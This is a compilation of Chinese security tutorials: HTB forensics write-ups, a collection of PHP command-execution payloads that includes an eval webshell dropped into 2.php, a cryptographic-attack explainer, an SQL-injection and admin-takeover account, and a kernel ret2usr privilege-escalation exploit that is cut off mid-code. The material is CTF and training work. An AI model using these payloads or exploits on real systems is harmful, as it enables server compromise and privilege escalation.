HTB-蓝队入门(上)
前言  HTB是大三时期一直想氪的一个平台,比较适合做一个方向上的深入学习。可惜大学生太穷了,只能工作后找个小伙伴AA,勉强付起这个昂贵的VIP。蓝队系列是我第一个开始学习(复习)的模块,需要好好记录下~也给想练HTB,但英语不好的同学一点帮助。  Chase-easy  简介:One of our web servers triggered an AV alert, but none of the sysadmins say they were logged onto it. We've taken a network capture before shutting the server down to take a clone of the disk. Can you take a look at the PCAP and see if anything is up?  大概翻译就是:我们的一台web服务器触发了AV警告,但没有一个管理员表示他们曾经登陆过。在关闭服务器以克隆磁盘之前,我们已经进行了网络捕获。让我看看PCAP的数据包,究竟被黑客打到了什么程度。  题目是给到的一个数据包,不得不吐槽的就是找了半天密码,原来就写我脸上了。。    压缩包解压之后是一个PCAP的文件,拿到包前先statistics-》Capture File Properties看下数据包大小、截取时间、操作系统等等基本信息,如果单纯是CTF的话帮助或许不大,但是在蓝军视角,获取更多的数据会更有助于我们定位问题。   数据包基本上是22.22.22.7与22.22.22.5通信,且量不大,很容易看到5号机器通过一个HTTP GET请求获取7号机器上的nc64.exe。   作为一个完整的攻击事件来说,这个显然不是入口。作为一般的应急响应事件来说,捕获到攻击情报的时候,很有可能已经达到内网,所以很有可能七号机器在此之前已经沦陷了,我们只能通过反推的方式去一层层的寻找最初的脆弱点(此题7号机不需要我们做溯源)。尝试筛选一下HTTP的请求,使用follow对HTTP流进行追踪。   很清晰的还原出7号机器通过5号机器的一个上传点,实现了文件上传漏洞,上传后的文件为/cmd.aspx,并且通过远程命令执行的方式,从7号机器获取nc64.exe,进而执行持久化控制。     从上面对5号机器进行的命令执行中,可以看到到反弹shell的端口在七号机的4444端口,所以我们可以通过tcp.port == 4444的方式,查看七号机器远程执行了什么命令。    前面“象征性”执行了whoami、ipconfig,到这步又从7号机拉取了一个名字很长的文件,感觉很可疑,就看一下吧,这里用过滤字符串的功能进行查看,提示“Hey there”,应该是Flag无误了。     Event Horizon  简介:Our CEO's computer was compromised in a phishing attack. The attackers took care to clear the PowerShell logs, so we don't know what they executed. Can you help us?  大致翻译:我们CEO的电脑在一次网络钓鱼中被攻击。攻击者小心地清理PowerShell日志,所以我们不知道他们执行了什么。大佬帮帮我们。  考点在于日志分析,题目给到的日志文件就高达323个   这里用的日志分析工具是Event Log Explorer,图形界面看起来非常的清晰。日志分析中排查优先级最高的,不出意外应该是powershell,但Windows Powershell的日志已经被攻击者删掉了。排序了下文件大小,发现还有个"Microsoft-Windows-PowerShell%4Operational",该日志会记录攻击者执行的Powershell命令都记录下来,把该日志放到工具里进行查看,在执行的第一个脚本注释处找到flag。   关于PowerShell5.0新功能的更多描述可以看这里:https://docs.microsoft.com/zh-tw/powershell/scripting/windows-powershell/whats-new/what-s-new-in-windows-powershell-50?view=powershell-7.2  Export  简介:We spotted a suspicious connection to one of our servers, and immediately took a memory dump. Can you figure out what the attackers were up to?  大概翻译:我们发现一个可疑的连接在我们的服务器上,并且很快进行内存存储,你能发现攻击者在干嘛吗?  题目是给的一个Raw文件,众所周知常见的内存文件格式有dmp、raw、img等等,既然跟内存文件有关就离不开做内存取证。这里推荐一个开源的内存取证框架 https://github.com/volatilityfoundation/volatility,以及对新手非常友好的autovolatility:https://github.com/carlospolop/autoVolatility 前者可以对数十个接口进行内存取证,后者可以批量将所有的接口进行取证并输出文件到本地。    跑完上述命令,可以获取到进程列表、事件日志、设备树、剪贴板内容、命令行等等信息   题目提到可疑链接,第一反应就是去看cmdline和cmdscan,前者显示进程的命令行参数,后者显示命令行的历史记录。在cmdscan文件里找到攻击者曾经执行过的一段Powershell无文件落地攻击    链接过一下URL的解码,ps1文件的名称感觉有点像flag了,再过一下Base64解密拿到flag。   Insider  简介:A potential insider threat has been reported, and we need to find out what they accessed. Can you help?  大概翻译:一个潜在的威胁被爆出,我们需要知道他们访问了什么,你能帮忙吗?  给到的是客户端上火狐浏览器的一些文件,尝试查一下如何读取火狐浏览器配置文件,寄了。。全网无资料。国外的师傅提到了一款工具 firefox_decrypt ,地址:https://github.com/unode/firefox_decrypt 。可以从Mozilla配置文件中提取密码,这种方法倒是很适合红队的同学在拿到靶标后使用,后面就是抄作业的过程:   好了作业抄完,再回顾下firefox_decrypt工具大概的实现原理,我们的用户记住密码后,数据一般都是放在本地,如果没有主密码的保护,这些密码应该是可以暴露出来的,所以firefox_decrypt就是对没有正确配置的本地密码进行读取(没理解错的话)。   Intel  简介:It seems a huge trove of credit card details is being sold by a group going by the name flinchsec. Can you find any sites or artefacts associated with this group that we can use to detect them?  大概翻译:看起来有一个叫 flinchsec的团伙正在售卖大量的信用卡详细信息,你能找到任何与这个团队关联的网站或文件,以至于我们可以使用来检测他们吗?  一道社工类型的题目。给的信息不多,我们只知道团队名叫flinchsec,谷歌搜索一下,在领英找到了这个团队   但是点击公司网站,返回了500,说明网站已经下掉了。但是如果我还想看到的话怎么办呢,想到了类似于网页快照之类的应用,百度查了一下有相关的实现:Wayback machine。并且在页面上看到有一个github的链接     到Releases下载文件后,strings命令看下程序里有没有flag的明文字符,结果失败了。后面看了大佬发的WP,竟然要用VT去查,脑洞太大了。。。     实验推荐  实验:内存镜像取证 https://www.yijinglab.com/expc.do?ec=ECID6a2f-ed6f-4f85-9363-731535a5c3c4>>
PHP命令执行集锦
前言 代码审计总要遇到命令执行或者说RCE,打CTF的过程中难免不会碰见,毕竟PHP是世界上最好的语言,总结一下 命令执行函数 E.g.1 <?php error_reporting(0); show_source(__FILE__); $a = "$_GET[c]"; $b = "$_GET[d]"; $array[0] =$b; $c = array_map($a,$array); ?> 传入参数c和d,array_map函数作用将$a作为函数,$array作为参数,构造paylaod ?c=assert&d=system(%27ls%27); E.g.2 <?php error_reporting(0); show_source(__FILE__); $a = "$_GET[b]"; $b = create_function('',$a); $b(); ?> create_function 函数会创建一个匿名函数(lambda样式),在第一个echo中显示出名字,并在第二个echo语句中执行了此函数。 $b = create_function('',$a); 这里$a为函数,' '为参数 那么可以看作为 function lambda(){ • echo ' ' ; } 传入payload b= ;}phpinfo();/* 在function函数中即 function lambda(){ echo ' ' ;}phpinfo();/* } 后面的内容注释掉了,即执行命令 E.g.3 <?php error_reporting(0); show_source(__FILE__); $a = "$_GET[d]"; $b='print'.$a.';'; $f = create_function('$a',$b); $f($a) 跟上面一样,虽然有一点变形,但是再$b的打印上没有特殊之处,所以payload: d=1;}system(%27ls%27);/* 一致。 E.g.4 <?php error_reporting(0); show_source(__FILE__); $a = "$_GET[b]"; assert($a); ?> 没什么特别之处,assert直接作为函数执行,payload: ?b=system(%27ls;%27) E.g.5 <?php error_reporting(0); show_source(__FILE__); $a = "$_GET[b]"; $b = "$_GET[c]"; call_user_func($a,$b); ?> call_user_func()函数的特点,知道后面的后面的$b为参数,前面的$a为函数即可 payload: ?b=system&c=whoami E.g.6 <?php error_reporting(0); show_source(__FILE__); $a = "$_GET[b]"; $b = array($_GET['c']); call_user_func_array($a,$b); ?> payload: ?b=assert&c=system(%27whoami%27); E.g.7 <?php error_reporting(0); show_source(__FILE__); $_GET['a']($_GET['b']); ?> 传入参数a和b,一个作为函数执行,一个做位参数,构造payload: ?a=assert&b=system(%27ls%27) E.g.8 <?php error_reporting(0); show_source(__FILE__); $a = "$_GET[b]"; eval($a); ?> 一句话木马有没有很熟悉,直接get方式传参给b即可,payload: ?b=system("ls"); E.g.9 <?php show_source(__FILE__); echo "<br>"; echo '请输入一个a的值'; echo "<br>"; error_reporting(0); $price = $_GET['a']; $code = 'echo $name. '.'的美元价格是' .$price.'; '; $b = create_function('$name',$code); $b('iphone'); ?> 基本上属于3的内容加强版,重点就是需要进行闭合,,代码变多了,payload没有出入,重点还是再$code的位置 payload: ?a=1;}system(%27ls%27);/* E.g.10 <?php show_source(__FILE__); error_reporting(0); $sort_by = $_GET['sort_by']; $sorter = 'strnatcasecmp'; $database = array('1234','4321'); $sort_function = ' return 1 * ' . $sorter . '($a["' . '"] , $b["' . $sort_by . '"]);'; usort($database,create_function('$a,$b',$sort_function)); ?> 属于加强版本,$sort_function的内容进行闭合,也就是sort_by的参数值要实现闭合,构造payload: ?sort_by=%27"]);}system(%27whoami%27);/* E.g.11 <?php error_reporting(0); show_source(__FILE__); $a = "$_GET[c]"; $b = preg_replace("/abc/e",$a,'abcd'); var_dump($b); ?> 虽然加了正则,但是并没有什么卵用,假把式,payload: ?c=system(%27ls%27); E.g.12 <?php show_source(__FILE__); $commandExecution = "echo "; echo "<br>"; system($commandExecution.$_GET['a']); echo "<br>"; ?> payload ?a=<\?php\%20\@eval($_POST[a])\;%20\?>%20>2.php 一句话木马写入2.php 也有其它解法直接进行命令执行。 E.g.13 <?php error_reporting(0); show_source(__FILE__); $a = "$_GET[c]"; echo "<br>"; exec($a,$b); var_dump($b); ? exec()函数直接执行命令,那么payload ?c=whoami E.g.14 <?php error_reporting(0); show_source(__FILE__); $a = "$_GET[c]"; echo shell_exec($a); ? 函数的特性shell_exec ?c=ls>2.txt 然后执行 ?c=cat 2.txt 此时 E.g.15 <?php error_reporting(0); show_source(__FILE__); $a = "$_GET[c]"; echo "<br>"; echo `$a`; ?> 看到echo以及传入的字符串,方法类似于上面的一道 ?c=cat%20flag.php>3.txt 直接访问3.txt即可,或者 ?c=cat%203.txt E.g.16 <?php error_reporting(0); show_source(__FILE__); $a = "$_GET[c]"; passthru($a); ?> payload: ?c=cat%20flag.php E.g.17 <?php error_reporting(0); show_source(__FILE__); $cmd=$_GET['c']; $fd = popen($cmd, 'r'); while($s=fgets($fd)){ print_r($s); } ?> payload ?c=cat%20flag.php E.g.18 <?php error_reporting(0); show_source(__FILE__); $command=$_GET['c']; $descriptorspec=array(   0=>array('pipe','r'),   1=>array('pipe','w'),   2=>array('pipe','w') ); $handle=proc_open($command,$descriptorspec,$pipes,NULL); if(!is_resource($handle)){   die('proc_open failed'); } while($s=fgets($pipes[1])){   print_r($s); } while($s=fgets($pipes[2])){   print_r($s); } fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($handle); ?> payload ?c=cat%20flag.php E.g.19 无字母shell <?php include 'flag.php'; if(isset($_GET['code'])){ $code = $_GET['code']; if(strlen($code)>40){ //检测字符长度   die("Long."); } if(preg_match("/[A-Za-z0-9]+/",$code)){ //限制字母和数字   die("NO."); } @eval($code); //$code的值要为非字母和数字 }else{ highlight_file(__FILE__); } //$hint = "php function getFlag() to get flag"; ?> 绕过正则,传入的参数中不能含有大小写字母以及数字,使用异或的当时绕过正则即可 <?phpvar_dump('#'^'|'); var_dump('.'^'~');var_dump('/'^''); var_dump('|'^'/'); var_dump('{'^'/'); $__=("#"^"|").("."^"~").("/"^"").("|"^"/").("{"^"/");//变量$_值为字符串'POST'?> no.flag中提示了flag在getflag()方法中,那么自然需要构造payload去调用getflag()方法,需要参数长度小于40且绕过正则,那么可以设想一下 function getflag(){ xxxxxxxxxxxxxxxx } @eval($code); 函数的调用就是类似于上面的过程,那么eval在执行的过程中$code并不能直接执行,参考上面的题7那么我传入的code的参数的形式为$_GET[]且需要调用getFlag()方法,因为考虑到需要无字母,所以结合异或,那么payload就是下面的内容: ?code=${"{{{"^"?<>/"}[""^"?"]();&_=getFlag 或者 ?code=$="`{{{"^"?<>/";${$}$%7B$_%7D%5B__%5D;&_=getFlag 这里 //_GET 的变形无字母shell $_="`{{{"^"?<>/"; 小结 大佬请绕路,如有错误欢迎师傅们指出。 实验推荐 实验:PHP命令注入攻击 https://www.yijinglab.com/expc.do?ce=c9246cb4-e33e-4528-84d5-b7636ea753c1>>
密码学的安全性浅析3
前言  本文是本系列的第三篇,由于侧重点是对密码学中的安全性问题进行分析,所以不会对密码学基础的核心概念进行阐述,如果阅读本系列文章时不明白所涉及的术语时请参考国内大学的推荐教材,如《密码学原理与实践》《深入浅出密码学》,如果只是感兴趣而并非要深入了解,只阅读《图解密码技术》也就够了。  MAC  MAC是指消息认证码(带密钥的Hash函数),是密码学中通信实体双方使用的一种验证机制,保证消息数据完整性的一种工具。构造方法由M.Bellare提出,安全性依赖于Hash函数,故也称带密钥的Hash函数。消息认证码是基于密钥和消息摘要所获得的一个值,可用于数据源发送方认证和完整性校验。MAC一般不会从头设计,而是从已有的哈希函数改造而来,比如加前缀、后缀或其他方法。  加前缀  加前缀时,返回的是Hash(K||M),从而将普通的哈希函数转为带密钥的哈希函数,其容易受到长度扩展攻击、碰撞攻击。  长度扩展攻击  长度扩展攻击我们之前已经提过,在这种攻击场景下,攻击者可以在不知道M1和K的基础上,仅通过Hash(K||M1)就可以计算出Hash(K||M1||M2),相当于攻击者可以伪造有效的MAC标签。  碰撞攻击  此处的碰撞攻击是由于密钥长度不同导致的。如果密钥K1是24比特的16进制字符串abcdef,消息M1是12,则返回的是Hash(abcded12),如果密钥K2是abcd,消息M2是ef12,则返回的也是Hash(abcded12),这就发生了碰撞  加后缀  加后缀的方法返回的是Hash(M||K),此时可以抵御长度扩展攻击,但是还是会存在碰撞的问题。  设有两个消息M1,M2,存在碰撞Hash(M1)=Hash(M2),比如在SHA-256中,此时就会存在Hash(M1||K)=Hash(M2||K)  换言之,攻击者通过如下流程即可发动攻击:  1.找到两个碰撞的消息M1,M2  2.请求受害者计算M1哈希的MAC标签Hash(M1||K)  3.猜测相同的Hash(M2||K),从而伪造一个有效的标签并破坏MAC的安全性  HMAC  HMAC,即散列消息认证码(Hash-based message authentication code),是一种通过特别计算方式之后产生的消息认证码(MAC),使用密码散列函数,同时结合一个加密密钥。它可以用来保证资料的完整性,同时可以用来作某个消息的身份验证。  HMAC从哈希函数构造MAC,这比前面两种方案都安全,IPSec,SSH,TLS等都使用了HMAC  CMAC  CMAC,Cipher-based Message Authentication Code,它是一种基于分组密码的消息认证码算法是基于密码的MAC,只提供一个分组密码如AES,就可以构造MAC。  CBC-MAC是最早的CMAC,其用CBC模式对全0初始值IV下的消息M进行加密,并只保留最后一组密文作为消息M的标签.基本的计算过程就是分别计算C1=E(K,M1),C2=E(K,M2⊗C1),C3=E(K,M3⊗C2)...对M的每个分组只保留最后的Ci,这就是经过CBC-MAC的M的标签。  其容易被攻击者构造出新的消息-标签对。攻击流程如下  设存在两个不同的消息M1,M2,对应的标签分别为T1=E(K,M1),T2=E(K,M2),攻击者由此可以构造出新的消息-标签对,即消息M1||(M2⊗T1)的标签为T2,推导过程如下:  要对M1||(M2⊗T1)生成标签,则先要计算C1=E(K,M1)=T1,然后计算C2=E(K,(M2⊗T1)⊗T1))=E(K,M2)=T2  由此,攻击者就从两个消息-标签对,且不知道密钥的情况下构造出了新的消息-标签对,这意味着攻击者可以伪造CBC-MAC的标签,所以CBC-MAC并不安全  AE  AE,Authenticated encryption,即认证加密,这既能实现消息的保密,又能保护消息的真实性,即实现认证。所以一个AE算法既有密码算法的特性又有MAC的特性。要实现AE,如下图所示有三种方式:  同时加密和MAC(Encrypt-and-MAC,E&M)  发送方:给定明文P,计算得到密文C=E(K1,P),同时计算得到认证标签T=MAC(K2,P),发送C,T  接收方:计算P=D(K1,C)得到P,然后用这个P计算MAC(K2,P),将结果与收到的T比较。如果C或T损坏,认证都会失败。  这个方案理论上是最不安全的。即使用的是安全的MAC,也有可能从中泄露明文P的信息,因为MAC仅用于确保不可伪造,不能确保随机。除非用的MAC非常强大,比如伪随机函数等。  SSH使用的就是这种方案,其用的MAC是HMAC-SHA-256,保证了不会泄露P的信息  先MAC再加密(MAC-then-Encrypt,MtE)  发送方:首先计算T=MAC(K2,P)来保护消息P,然后加密得到C=E(K1,P||T),这里将明文和标签一起加密,得到密文。发送方发送C  接收方:解密C,即P||T=D(K1,C)得到P||T,然后通过得到的明文P计算标签MAC(K2,P),并与得到的T比较,如果符合,则认证成功。  这种方式隐藏了明文的认证标签,从而防止标签泄露明文中的认证信息。  在TLS1.3之前,都是使用该方案。  先加密再MAC(Encrypt-then-MAC,EtM)  发送方:首先加密得到密文C=E(K1,P),然后计算认证标签T=MAC(K2,C),将其发送  接收方:使用MAC(K2,C)计算结果与收到的T比较,若相符,则再计算P=D(K1,C),得到明文。  这个方案的优势在于:1.接收方只需要计算MAC就可知道信息是否损坏,如果损坏就不需要进一步解密了;2.对于攻击者而言,除非能破解MAC,否则不能同时将C和T发送给接收方获得解密结果,这使得攻击者更难向接收方发送恶意数据  所以这种方案是三者之间最安全的,IPSec使用了方案  AES-GCM  除了如上三种,组成起来实现,也有专门的认证加密算法,其可以表示为  加密:AE(K,P)=(C,T),K是密钥,P是明文,C是密文,T是身份认证标签  解密:AD(K,C,T)=P,如果C,T至少有一个无效,则AD会返回错误,而如果返回明文,则可以确保这个明文是被用正确密钥加密过的明文。  从认证角度看,其功能与MAC一样,这意味着想要伪造AD能接收并解密的密文和标记对(C,T)是不可能的  从加密角度看,认证加密比普通密码算法更安全,因为它只有在标签有效的情况下才会用密钥进行解密。这可以防止选择密文攻击。  认证加密算法中目前唯一被承认的正式标准就是AES-GCM,其基于AES算法,采用Galois计数器模式(GCM)实施。其示意图如下  GCM本质上是对CTR模式的改进,集成了一个小组件计算身份认证标签,其示意如下  AES-GCM容易受到攻击,包括nonce重放攻击以及由弱哈希密钥、短标签等引发的攻击。  nonce重放攻击  这是AES-GCM最大的漏洞。如果用户在两次AES-GCM中使用相同的nonce N,攻击者就可以获得身份认证密钥H,继而可以使用H为任何密文、关联数据伪造标签。  其基本代数结构如下  标签T通过下式计算得到:  上式中的GHASH是一个通用哈希函数,其输入输出线性相关  此时如果有用相同nonce计算得到的两个标签T1,T2,将其异或可以得到  可以看到,此时AES的部分就消去了  然后利用GHASH的线性特性,攻击者就可以确定H,从而拿到身份认证密钥  弱哈希密钥  GHASH存在重大缺陷,哈希密钥H的某些取值大大简化了对GCM认证机制的攻击,概括来说,如果H的取值属于某个特定的数学上定义的子群中时,攻击者可以通过仅仅对前一条消息分组进行变换从而猜测出某个消息的身份认证标签T。  GHASH的内部结构我们这里略去,直接到最后一步,此时有  GHASH将消息的长度与Xn异或,将结果乘以H,然后将这个值与AES(K,N||0)异或,从而得到身份认证标签T  这里的漏洞在于,如果H=0,则不论Ci为何值都有Xn=0,与消息无关。这意味着,如果H=0,那么所有的消息都会具有相同的身份认证标签;而如果H=1,那么标签实际上只是密文分组的异或,这样会导致重新排序的密文分组会有相同的身份认证标签。  当然,除了H=0,H=1之外,当H取其他值时也会发生异常情况。例如基于5阶循环群的例子,设H=10d04d25f93556e69f58ce2f8d035a4,这是一个属于长度为5的循环的,H的取值满足H^5=H,那么对任何5的倍数e,都有  H^e=H  那么在前面的Xn的表达式中,交换分组Cn(和H相乘)和分组Cn-4(和H^5相乘)不会改变身份认证标签,这实际上就相当于伪造了。即,攻击者可在不知道密钥的情况下,利用这个属性构造新的消息及其有效认证标签。  更详细的分析可以阅读论文《Cycling Attacks on GCM, GHASH and Other Polynomial MACs and Hashes》  短标签  实际中AES-GCM通常返回128比特的标签,不过它可以生成任意长度的标签,但是长度越小,被伪造的可能性越高。  使用128比特长度时,伪造成功的概率为1/2^128;但是,由于GCM结构内在缺陷,当长度较短时,伪造的概率要大于  1/2^n  比如如果长度为32比特,则成功伪造的概率为1/2^16而不是我们以为的  1/2^32  根据Ferguson的论文指出,对于n比特标签,成功伪造概率为2^m/  2^n  其中2^m是攻击者能够获得的对应标签的最长消息的分组数目。  举个例子,如果使用48比特的标签去处理4GB的消息(2^28个块),  那么能够伪造的概率为2^20,这在密码学中是一个很高的概率了。  更详细的分析可以阅读论文《AuthenticationweaknessesinGCM》  RSA  RSA加密算法是一种非对称加密算法,在公开密钥加密和电子商业中被广泛使用。RSA是由罗纳德·李维斯特(Ron Rivest)、阿迪·萨莫尔(Adi Shamir)和伦纳德·阿德曼(Leonard Adleman)在1977年一起提出的.RSA的工作原理就是创建一个被称为陷门置换的数学对象。陷门置换描述的是符合下述性质的函数:  将数字x变换为同一范围内的数字y,除非知道私钥,否则不能从y计算得到x,这个私钥就称为陷门.  陷门置换  陷门置换是RSA的核心。给定模数n和公开指数e,RSA陷门置换将群Zn中的数x通过y= x^e mod n变换为群Zn中的另一个数y。  在加密时,n和e就是RSA的公钥  为了能够从y计算出x,则需要另一个数d,通过如下计算得到x  d就是陷门,也是RSA私钥的一部分,d也被称为秘密指数  d并不能任意取值,其必须满足  这样才能得到  这里需要注意,我们用的是模φ(n)而不是模n  φ(n)=(p-1)(q-1),这个数对RSA的安全性至关重要,如果攻击者能从模数n中求出φ(n),就等价于破解了RSA。这是因为如果知道φ(n),在计算e模φ(n)的逆,就可以得到d。为此,p和q也应该保密,因为φ(n)可以由其计算得到  整个RSA的安全级别取决于n的大小、p与q的选择、陷门置换的应用;如果n太小,则容易对其分解,从而泄露私钥;如果p与q太小或者太接近,则容易从n中确定出相应取值;陷门置换不应该被直接用于签名或加密  陷门置换的误用  在教科书中的RSA介绍中,通常会看到误用陷门置换的情况,其被直接用于加密或者签名了。即,RSA中的明文只是要加密的消息。这看起来没问题,实际上存在很大的风险。  加密  这种教科书式的RSA加密是确定性的,即对同一明文加密两次,得到的密文是相同的。除此之外,更大的问题是,当给定两个密文y1=x1^e mod n和 y2=x2^e mod n时,攻击者可以通过将其相乘,得到明文x1xx2的密文:  这个结果就是消息x1xx2 mod n对应的密文,这意味着,攻击者可以从两个RSA密文中构造出新的有效密文。这种弱点我们称之为扩展性风险(安全的密码应该确保只有在知道x1,x2时才能得到两者相乘的密文,如果只知道y1,y2是不能够得到的)  为了使RSA不可扩展,提出了OAEP,其中密文由待加密消息和一些padding组成,他们一起组成了RSA-OAEP。  OAEP的示意图如下  图中, n是RSA模数的位数,k0和k1是协议中的固定整数。m是n-k0-k1位长的明文消息,G和H是随机预言,如加密散列函数,⊕是异或运算。  编码过程包括如下步骤: 用 k1 位长的 0 将消息填充至 n - k0 位的长度。 随机生成 k0 位长的串 r 用 G 将k0 位长的 r 扩展至 n - k0 位长。 X = m00...0 ⊕ G(r) H 将 n - k0 位长的 X 缩短至 k0 位长。 Y = r ⊕ H(X) 输出为 X || Y,在图中 X 为最左边的块,Y 位最右边的块。  随后可以使用 RSA 加密编码的消息  解码过程包括如下步骤: 恢复随机串 r 为 Y⊕H(X) 恢复消息 m00...0 为 X ⊕ G(r)  签名  教科书中的RSA签名同样是简化过的,通过直接计算y = x^d mod n对消息x进行签名。这虽然简单,便于初学者理解,但是其存在签名被伪造的风险。  举个最简单的例子,因为有  0^d mod n=0  1^d mod n=1  (n-1)^d mod n = n-1  那么攻击者一直可以在不知道d的情况下伪造0,1,n-1的签名  更严重的攻击手段我们称之为盲签名攻击,即消息M不会被受害者主动签名,但是攻击者可以让M被受害者签名。攻击流程如下  1.攻击者找到某个值R,R^eM mod n是受害者会签名的一条信息,此时得到的签名记做S=(R^eM)^d mod n,现在的问题就是攻击者怎样能得到M的签名,即M^d  2.推导如下  且  所以有  S=(ReM)^d  RM^d  为了得到M^d,将S除R即可  为了避免这种攻击,提出了RSA概率签名方案PSS,PSS之于RSA签名等同于OAEP之于RSA加密,它能让签名更安全,其流程比较复杂,基本示意图如下  此外还有更简单的签名方案,即FDH,全域哈希。  Bellcore攻击  Bellcore攻击属于错误攻击的一种,其迫使算法的一部分执行不当,产生错误的结果,将其与正确结果相比较,从而获得关于算法内部值的信息。  Bellcore适用于使用中国剩余定理的确定性的RSA签名方案。  由相关基础知识,我们有  其中  假设攻击者在就按xq时产生错误,得到错误值xq’,继续使用xq‘并得到相应的x’。那么攻击者现在就可以计算正确的签名x和错误的签名x‘的差,并由此分解模数n:  由上式,x-x'是p的倍数,即p是x-x'的除数,由于p也是n的除数,所以n和x-x'的最大公约数是p,即  然后就可以计算出q=n/p以及d,从而破解RSA签名  共享模数n  我们直接举个例子。  设攻击者的私钥为(n,d1),受害者的私钥为(n,d2),受害者公钥为(n,e2),此时攻击者知道n,不知道p和q,所以不能从公开指数e2计算秘密指数d2。那么怎么从d中计算出p和q呢?  我们知道d和e满足  虽然我们不知道d或φ(n),但是我们可以计算出kφ(n)=ed-1  根据欧拉定理,对于任何一个与n互素的数a,有a^(φ(n))=1 mod n,所以,对模数n,有下式:  由于kφ(n)是偶数,所以可以写成2^st,所以可以把  写成如下形式  式子中的x可以通过kφ(n)计算得到  x^2-1=(x-1)(x+1),这意味  x^2-1可以被n整除,即x-1或x+1二者必有其一与n有相同的因数,从而可以算出n的因数,从而攻破RSA。  参考  1.https://link.springer.com/content/pdf/10.1007%2F0-387-34805-0_39.pdf  2.《foundations of cryptography》  3.https://link.springer.com/chapter/10.1007/3-540-68697-5_1  4.https://eprint.iacr.org/2006/043.pdf  5.https://link.springer.com/chapter/10.1007/978-3-540-74143-5_2  6.https://www.cs.ucdavis.edu/~rogaway/papers/ae.pdf  7.https://link.springer.com/chapter/10.1007/978-3-642-34047-5_13  8.https://csrc.nist.gov/CSRC/media/Projects/Block-Cipher-Techniques/documents/BCM/Comments/CWC-GCM/Ferguson2.pdf  9.https://competitions.cr.yp.to/caesar.html  10.https://www.sciencedirect.com/science/article/abs/pii/S1574013715300290
一次苦逼的SQL注入
0x01: 偶一打点,看到一个可爱的系统…. 1.通过F12 把链接提出来仔细瞅瞅… 2.看见id,果断测注入… 感觉有戏 嗯? 啥数据库连接出错,啥意思??? (其实,这是运维做的混淆..) 3.这是什么操作呢? 怎么会数据库连接出错了???我最开始想的是它网站内部没有配置好,但反过来想,如果没有配置好,哪id=5也应该会出现问题才对,所以勇敢的大胆猜,这可能是是一个简单的waf,然后自定义的一个页面。 如何去验证呢? 先删删字符 看看咋回事 多半是and的出问题 4.并且他是数字型注入 编写tamper 试试把 好像是那个302跳转导致的…… 再手工看看这个xpshell 没有权限 5.手工先摸管理员把 6.如何让sql跑起了 直接在响应包里面让他报错,然后让sqlmap自动识别即可  这个点可以记住 它的密码乱码了,咋办呢?只能 发现管理员员权限是 0 批量看下 发现管理员一个账户 经过测试发现,很多弱口令账户。。。登录一个管理员,点到为止…. 发现可以进行改密码,改admin的密码即可。。。点到为止 里面涉及很多敏感信息,故…. (以上漏洞已报给教育src平台,并且已经修复…….) 总结: 1.拿不到管理员应该灵活….不一定admin才是管理员,只要最后能干到管理员就好 2.出现数据库连接错误,并不是连接数据库错误,要懂得学会判断 3.对于已经确定存在sql注入的地方,由于验证码,会发生302跳转。Sqlmap无法直接注入,可以直接让它在报错注入中注入(即在请求包为一个报错注入的包—报错一个版本就行..) 实验推荐 实验:Mssql报错注入 https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015090915005900001>>
Kernel pwn 基础教程之 ret2usr 与 bypass_smep
一、前言 在我们的pwn学习过程中,能够很明显的感觉到开发人员们为了阻止某些利用手段而增加的保护机制,往往这些保护机制又会引发出新的bypass技巧,像是我们非常熟悉的Shellcode与NX,NX与ROP。而当我们将视角从用户态放到内核态的时候,便是笔者今天想与大家分享的两个利用手段:ret2usr与bypass_smep。 二、ret2usr利用介绍 ret2usr的资料在网上其实并不算多,究其原因是其利用手法相对简单,其本意是利用了内核空间可以访问用户空间这个特性来定向内核代码或数据流指向用户空间,并以ring0的特权级在用户空间完成提权操作。 三、ret2usr例题讲解 这次以Kernel ROP那一篇中介绍过的例题"2018年强网杯 core"来对ret2usr利用手段进行讲解,具体的题目分析在之前的篇章中已经做过具体分析,这边只是简单概述一下模块内容。 在core_ioctl函数中定义的三种功能 0x6677889B:执行core_read函数,存在内存信息泄露,可用来leak canary 0x6677889C:对全局变量off赋值,可用来控制core_read函数中的内存偏移,从而造成泄露问题 0x6677889A:执行core_copy_func函数,配合core_write函数以及对复制的内容长度不严谨从而造成栈溢出隐患 在前一篇Kernel ROP中我们的利用思路具体如下所示。 1、保存返回用户态所需的寄存器信息 2、利用core_read leak canary 3、通过/tmp/kallsyms中的信息获取函数地址与计算ropgadget的偏移 4、利用core_copy_func函数存在的栈溢出控制内核程序流完成提权并返回用户态执行shell 而本篇的ret2usr中我们的利用思路则发生了些许的改变,原先第四步中我们通过劫持内核程序流并构造ropchain来完成的提权步骤,现在我们修改提权方式,控制内核程序流访问user space中的函数指针来完成提权操作,在我们的exp中构建如下的函数。 void beroot() { char* (*func1) (int) = prepare_kernel_cred; void (*func2) (char*) = commit_creds; (*func2)((*func1)(0)); } 可以看到我们通过函数指针的方式在用户空间执行了commit_creds(prepare_kernel_cred(0)),能过做到这样的本质原因是因为我们在劫持程序流程的时候处在ring0权限,并且因为SMEP保护未开启的原因我们可以从内核空间访问用户空间的代码,所以才能完成提权的操作。 当我们控制内核程序流在用户空间完成提权工作以后,就可以返回用户态并获取rootShell了,完整EXP如下所示。 #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/ioctl.h> #define CORE_READ 0x6677889B #define SET_OFFSET 0x6677889C #define CORE_COPY_FUNC 0x6677889A unsigned long long int canary[64] = {0}; unsigned long long int raw_vmlinux_base = 0xffffffff81000000; unsigned long long int commit_creds, prepare_kernel_cred, vmlinux_base; unsigned long long int user_cs, user_ss, user_rflags, user_sp; void save_status() {   __asm__("mov user_cs, cs;"           "mov user_ss, ss;"           "mov user_sp, rsp;"           "pushf;"           "pop user_rflags;"           );   puts("[*]status has been saved."); } void beroot() { char* (*func1) (int) = prepare_kernel_cred; void (*func2) (char*) = commit_creds; (*func2)((*func1)(0)); } //ffffffffb8c9c8e0 T commit_creds int leak_addr() { int idx; char buf[1024]; int fd = open("/tmp/kallsyms", 0); if (fd < 0) { puts("[-] ERROR."); exit(0); } puts("[+] Leak Address..."); while (1) { int i; for (i = 0; i < sizeof(buf); i++) { read(fd, buf + i, 1); if(buf[i] == '\n') { if (strstr(buf, "commit_creds")) { sscanf(buf, "%llx", &commit_creds); printf("[+] Find commit_creds_address: 0x%llx\n", commit_creds); vmlinux_base = commit_creds - 0x9c8e0; prepare_kernel_cred = vmlinux_base 